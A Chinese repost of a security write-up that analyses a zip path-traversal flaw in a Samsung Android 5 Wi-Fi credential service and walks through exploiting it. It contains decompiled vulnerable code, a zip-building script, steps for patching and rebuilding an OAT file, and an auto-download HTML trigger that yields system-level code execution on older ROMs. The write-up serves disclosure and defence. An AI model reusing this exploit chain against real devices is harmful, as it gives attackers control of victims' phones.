转载

三星Android 5设备滥用wifiCredService导致远程代码执行

引入

本文具体分析了最近在Google漏洞赏金计划中披露的三星Android5设备漏洞[0],该漏洞由Google的Project Zero团队以及Quarkslab挖掘。据我们所知,该漏洞存在于所有三星搭载Android5的设备中,仅仅通过浏览站点,下载电子邮件中的附件,或者一个恶意的第三方软件便能够使用system user权限进行远程代码执行。
关于漏洞

搭载Android 5的三星设备中,一款uid为system的安卓应用监视着/sdcard/Download/目录操作,其用到基于inotify机制的Java FileObserver。当以cred开始.zip结尾的文件名写入这个特殊目录,将会调用一个例程来解压这个文档,完成之后再从/sdcard/Download/目录将其删除,从cred[something].zip文件中提取的文件会解压到/data/bundle/目录。

不幸的是,没有在文件名进行验证。这意味着一个以../为开头的文件名会被写入/data/bundle/之外的位置。攻击者便能够在任意位置写入任意内容而且还带system用户权限。如果系统用户权限足够,那我们可以随意创建新文件或者是覆盖现有文件。很明显,带系统用户权限写入文件可导致远程代码执行漏洞。

考虑到/sdcard/Download/为安卓浏览器默认的下载文件夹,并且GMail应用保存的附件也在这文件夹内,你又有一个远程代码执行漏洞…..

攻击向量

据我们所知,以下攻击向量可用来利用该漏洞:

1.通过任意浏览器访问一个站点(包括Google Chrome) 2.通过GMail应用保存邮件中的附件 3.安装一款安卓恶意软件

如何检测是否存在漏洞

我们希望快速简便的检测用户设备状态。为此我们给开源项目Android VTS[2]写了一个模块[1],因此你可以通过Android VTS快速的检测手中设备的状态。

以下为使用Android VTS进行检测的一个例子:

三星Android 5设备滥用wifiCredService导致远程代码执行

详细分析

以下分析都是在Samsung Galaxy S6设备上完成,漏洞代码位于Hs20Settings.apk应用之中。其注册一个名为WifiHs20BroadcastReceiver的广播接收器,在启动时或者触发WIFI事件(android.net.wifi.STATE_CHANGE)便执行。

需要注意的是,这个三星设备漏洞代码可能在其他位置。例如,Samsung Galaxy S5这个漏洞代码就在SecSettings.apk中。

当广播接收器通过前面两个条件之一触发时,会执行以下代码:

public void onReceive(Context context, Intent intent) { [...] String action = intent.getAction(); [...] if("android.intent.action.BOOT_COMPLETED".equals(action)) {  serviceIntent = new Intent(context, WifiHs20UtilityService.class);  args = new Bundle();  args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003);  serviceIntent.putExtras(args);  context.startServiceAsUser(serviceIntent, UserHandle.CURRENT); } [...]} 

对于每一个事件,都会有一个Intent来创建一个名为WifiHs20UtilityService的服务。注意观察服务中的构造函数,特别是onCreate()方法,它会创建一个新的WifiHs20CredFileObserver对象。

public void onCreate() {   super.onCreate();   Log.i("Hs20UtilService", "onCreate");   [...]   WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver(           this,           Environment.getExternalStorageDirectory().toString() + "/Download/"   );   WifiHs20UtilityService.credFileObserver.startWatching();   [...]}

WifiHs20CredFileObserver被定义为FileObserver的Java子类:

class WifiHs20CredFileObserver extends FileObserver {

在安卓文档中FileObserver的定义:

android.os下的FileObserver类是一个用于监听文件访问、创建、修改、删除、移动等操作的监听器,基于linux的inotify。 FileObserver 是个抽象类,必须继承它才能使用。每个FileObserver对象监听一个单独的文件或者文件夹,如果监视的是一个文件夹,那么文件夹下所有的文件和级联子目录的改变都会触发监听的事件。

公共构造函数必须为监控事件指定一个路径和一个mask:

FileObserver(String path, int mask)

WifiHs20CredFileObserver的构造函数如下:

public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) {   WifiHs20UtilityService.this = arg2;   super(path, 0xFFF);   this.pathToWatch = path;}

在上面的代码片段中,FileObserver所有的有效事件类型可以在/sdcard/Download/目录下查看,事实上mask 0xFFF就是为FileObserver.ALL_EVENTS准备的。为了搞清楚接收事件后会发生什么动作,我们还需要看看WifiHs20CredFileObserver中的onEvent()重载方法:

public void onEvent(int event, String fileName) { WifiInfo wifiInfo; Iterator i$; String credInfo; if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName   .endsWith(".zip")))) {  Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" +    event);  if(fileName.endsWith(".conf")) {   try {    credInfo = this.readSdcard(this.pathToWatch + fileName);    if(credInfo == null) {     return;    }    new File(this.pathToWatch + fileName).delete();    i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();    while(i$.hasNext()) {     WifiHs20Timer.access$500(i$.next()).cancel();    }    WifiHs20UtilityService.this.expiryTimerList.clear();    WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo);    wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();    if(!wifiInfo.isCaptivePortal()) {     return;    }    if(wifiInfo.getNetworkId() == -1) {     return;    }    WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.      mWifiManager.getConnectionInfo().getNetworkId(), null);   }   catch(Exception e) {    e.printStackTrace();   }   return;  }  if(fileName.endsWith(".zip")) {   String zipFile = this.pathToWatch + "/cred.zip";   String unzipLocation = "/data/bundle/";   if(!this.installPathExists()) {    return;   }   this.unzip(zipFile, unzipLocation);   new File(zipFile).delete();   credInfo = this.loadCred(unzipLocation);   if(credInfo == null) {    return;   }   i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();   while(i$.hasNext()) {    WifiHs20Timer.access$500(i$.next()).cancel();   }   WifiHs20UtilityService.this.expiryTimerList.clear();   Message msg = new Message();   Bundle b = new Bundle();   b.putString("cred", credInfo);   msg.obj = b;   msg.what = 42;   WifiHs20UtilityService.this.mWifiManager.callSECApi(msg);   wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();   if(!wifiInfo.isCaptivePortal()) {    return;   }   if(wifiInfo.getNetworkId() == -1) {    return;   }   WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager     .getConnectionInfo().getNetworkId(), null);  } }} 

当接收到事件类型8(FileObserver.CLOSE_WRITE)时,对文件名以及动作的检测可能已经开始了。如果写入的文件以cred,.conf或.zip结尾便会执行一些处理,而在其他所有例子中,FileObserver会简单的略过。

当一个特殊的文件写入监控文件中,会发生以下两种情况:

1).conf文件:服务调用readSdcard()读取文件,然后将配置传递给WifiManager.modifyPasspointCred(),readSdcard()调用完成之后.conf文件被删除 2).zip文件:服务将其提取到/data/bundle/并调用loadCred()解析cred.conf提取出的内容,然后将loadCred()结果作为Bundle对象的参数调用WifiManager.callSECApi(),完成解压操作后文件被删除

第一种情况对于我们没有什么用,但是第二个有用哇有用哇有用哇。使用标准ZipInputStream类完成解压操作,这是一个大家都知道的秘密[4]如果没有对文件内的文件名进行验证,便可以进行目录遍历。该漏洞与 @fuzion24 报告的三星键盘更新机制漏洞类似[5]

以下为绿化版的unzip()函数,为了便于阅读将不重要的try/catch语句进行了删除:

private void unzip(String _zipFile, String _location) {   FileInputStream fin = new FileInputStream(_zipFile);   ZipInputStream zin = new ZipInputStream(((InputStream)fin));   ZipEntry zentry;   /* check if we need to create some directories ... */   while(true) {  label_5:    zentry = zin.getNextEntry();    if(zentry == null) {     // exit    }    Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName());    if(!zentry.isDirectory()) {     break;    }    /* if the directory does'nt exist, the _dirChecker will create it */    this._dirChecker(_location, zentry.getName());   }   FileOutputStream fout = new FileOutputStream(_location + zentry.getName());   int c;   for(c = zin.read(); c != -1; c = zin.read()) {    if(fout != null) {     fout.write(c);    }   }   if(zin != null) {  zin.closeEntry();   }   if(fout == null) {    goto label_45;   }   fout.close();label_45:   MimeTypeMap type = MimeTypeMap.getSingleton();   String fileName = new String(zentry.getName());   int i = fileName.lastIndexOf(46);   if(i <= 0) {  goto label_5;   }   String v2 = fileName.substring(i + 1);   Log.v("Hs20UtilService", "Ext" + v2);   Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2));   goto label_5;  } } 

我们可以注意到对于文档内的文件没有进行验证,存在目录遍历问题。因此,如果我们有一个名为cred.zip或者cred[something].zip写入/sdcard/Download/目录。WifiHs20CredFileObserver会自动(不需用户交互)将文件内容解压到/data/bundle/目录,之后删除.zip文件。由于没有对解压文件的文件名验证,在该文件夹内任何以../开头的解压文件都会被提取到/data/bundle/目录之外的位置,并且现有文件会被覆盖。最后请记住解压操作是系统用户完成的!

利用

首先我们随意建立一个zip文件,使用Python轻松实现:

from zipfile import ZipFilewith ZipFile("cred.zip", "w") as z:     z.writestr("../../path/filename", open("file", "rb").read())

接下来我们需要获得一个代码执行对吧?想在任意位置写入数据,你就得需要系统用户的权限,典型的解决方案就是覆盖dalvik-cache中的一些文件。在Android 5中dalvikvm用的很少,已经被ART所替代,对于ODEX文件来说都一样。OAT文件是由一个.apk文件通过包管理器调用dex2oat生成,并且生成的文件写入/data/dalvik-cache/目录(.dex后缀),然而我们依然可以使用这种方法执行代码。

不幸的是(这完全取决于你),覆盖dalvik-cache来获得代码执行现如今几乎是不可能的事情。在最近的rom中dalvik-cache目录是需要root权限的,SELinux才拥有写入权限[6][7].

早前搭载Android 5的三星rom,如G900FXXU1BNL9或者G900FXXU1BOB7就不包含这些SELinux规则。在这些rom中dalvik-cache目录事实上是属于root的,SELinux规则并没有阻止任意系统应用覆盖dalvik-cache(文件属于system)中的文件。我们考虑将其中一个rom作为本文例子,对于本文重在解释通过其他方法作为system用户来进行代码执行(不需写入dalvik-cache)来说这并不重要。

凭借dalvik-cache我们拥有一个可利用的rom,我们需要找到一个有趣的目标应用(运行uid为system)进行覆盖并解决如何生成我们的OAT文件。

寻找一个优秀的目标应用不是件简单事情,我们需要记住3个细节:

1.解压例程是有Java编写的,解压是一个字节一个字节完成,对于大文件来说速度相当缓慢 2.如果你覆盖正在运行的应用的OAT文件,这会导致崩溃 3.如何通过应用执行代码?

事实上,我们需要寻找一个相对较小的OAT文件并且几乎不常使用,以下为完美的候选人名单:

shell@klte:/ $ ls -al /data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex -rw-r--r-- system   u0_a31000   176560 2015-10-30 15:40 system@app@AccessControl@AccessControl.apk@classes.dex

查看应用程序的manifest,我们可以看到其通过注册一个广播接收器监听android.intent.action.BOOT_COMPLETED事件实现一个非常不错的“自动运行”功能

<manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android"> <application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256">  [...]  <receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver">   <intent-filter>    <action android:name="android.intent.action.BOOT_COMPLETED" />    <action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" />   </intent-filter>  </receiver>  [...] </application></manifest> 

因此,如果我们将自定义代码放入AccessControlReceiver类的onReceive()方法中,在每次启动时我们的代码都会被执行

接下来,验证我们的猜想!

首先我们需要AccessControl应用的原始代码:

> adb pull /system/app/AccessControl/arm/ . pull: building file list... pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xz pull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz2 files pulled. 0 files skipped.273 KB/s (72428 bytes in 0.258s)> ls AccessControl.odex.art.xz  AccessControl.odex.xz > xz -d * > file * AccessControl.odex:     ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped AccessControl.odex.art: data

我们获得了一个ART ELF (OAT)文件,但是我们想要修改它的dalvik字节码。我们可以使用oat2dex提取相应的dalvik字节码[8]:

> python oat2dex.py /tmp/art/AccessControl.odex Processing '/tmp/art/AccessControl.odex'Found DEX signature at offset 0x2004 Got DEX size: 0xe944 Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'> file * [...] AccessControl.odex.0x2004.dex: Dalvik dex file version 035 [...] > baksmali AccessControl.odex.0x2004.dex -o smali

接下来在onReceive()方法中加入我们的自定义代码:

> find smali/ -iname '*receiver*' smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali > vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali [...] .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V   .registers 10    +  # adding the following code: +  const-string v0, "sh4ka" +  const-string v1, "boom!" +  invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I [...] > smali smali/ -o classes.dex

为了构建我们修改过的DEX文件,再次使用dex2oat:

> adb pull /system/app/AccessControl/AccessControl.apk .1462 KB/s (259095 bytes in 0.173s)> sudo chattr +i AccessControl.apk > cp AccessControl.apk Modded.apk > zip -q Modded.apk classes.dex > python -c 'print len("/system/app/AccessControl/AccessControl.apk")'43 > python -c 'print 43-len("/data/local/tmp/Modded.apk")'17 > mv Modded.apk Modded$(python -c 'print "1"*17').apk > ls AccessControl.apk  AccessControl.odex  AccessControl.odex.0x2004.dex  AccessControl.odex.art  classes.dex  Modded11111111111111111.apk  smali > adb push Modded11111111111111111.apk /data/local/tmp1144 KB/s (284328 bytes in 0.242s)> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat > adb pull /data/local/tmp/modified.oat .1208 KB/s (172464 bytes in 0.139s)> file modified.oat modified.oat: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped > sed -i 's///data//local//tmp//Modded11111111111111111.apk///system//app//AccessControl//AccessControl.apk/g;' modified.oat

最后我们可以构建zip文件来利用这个漏洞了:

> cat injectzip.py import sys from zipfile import ZipFile with ZipFile("cred.zip","w") as z:   z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())> python injectzip.py ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex /tmp/art/modified.oat > zipinfo cred.zip Archive:  cred.zip Zip file size: 172750 bytes, number of entries: 1 ?rw-------  2.0 unx   172464 b- stor 15-Nov-08 18:43 ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex1 file, 172464 bytes uncompressed, 172464 bytes compressed:  0.0%

这里有多种方法触发这个漏洞,如迫使浏览器打开一个web页面下载这个zip文件:

<html> <head><script type="text/javascript">document.location="/cred.zip";</script></head> <body></body> </html>

或者仅仅是测试目的,可以通过打开adb将其传入/sdcard/Download/:

> adb push cred.zip /sdcard/Download/ > adb logcat WifiCredService:V *:S --------- beginning of main --------- beginning of system I/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/cred.zip]8 V/WifiCredService( 4599): Unzipping********** ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex V/WifiCredService( 4599): Extdex V/WifiCredService( 4599): Mime Typenull

重启机器之后,应该会出现一些消息:

> adb reboot; adb logcat sh4ka:V *:S - waiting for device - --------- beginning of system --------- beginning of main F/sh4ka   ( 3613): boom!

这个方法并非是最优的,开动脑筋吧!欢迎再评论区写下你的答案,如果答案优秀我会通过小酒馆打赏10金币给你。

参考:

[0]https://code.google.com/p/google-security-research/issues/detail?id=489

[1]https://github.com/nowsecure/android-vts/commit/429c687fe03ef0db2999a36f2ec7d31101cd78da

[2]https://github.com/nowsecure/android-vts

[3]https://developer.android.com/reference/android/os/FileObserver.html

[4]https://www.securecoding.cert.org/confluence/display/java/IDS04-J.+Safely+extract+files+from+ZipInputStream

[5]https://www.nowsecure.com/keyboard-vulnerability/

[6]https://android-review.googlesource.com/#/c/155000/

[7]https://android-review.googlesource.com/#/c/127710/

[8]https://github.com/jakev/oat2dex-python/

[9]https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART.pdf

* 参考来源: Quarkslab ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...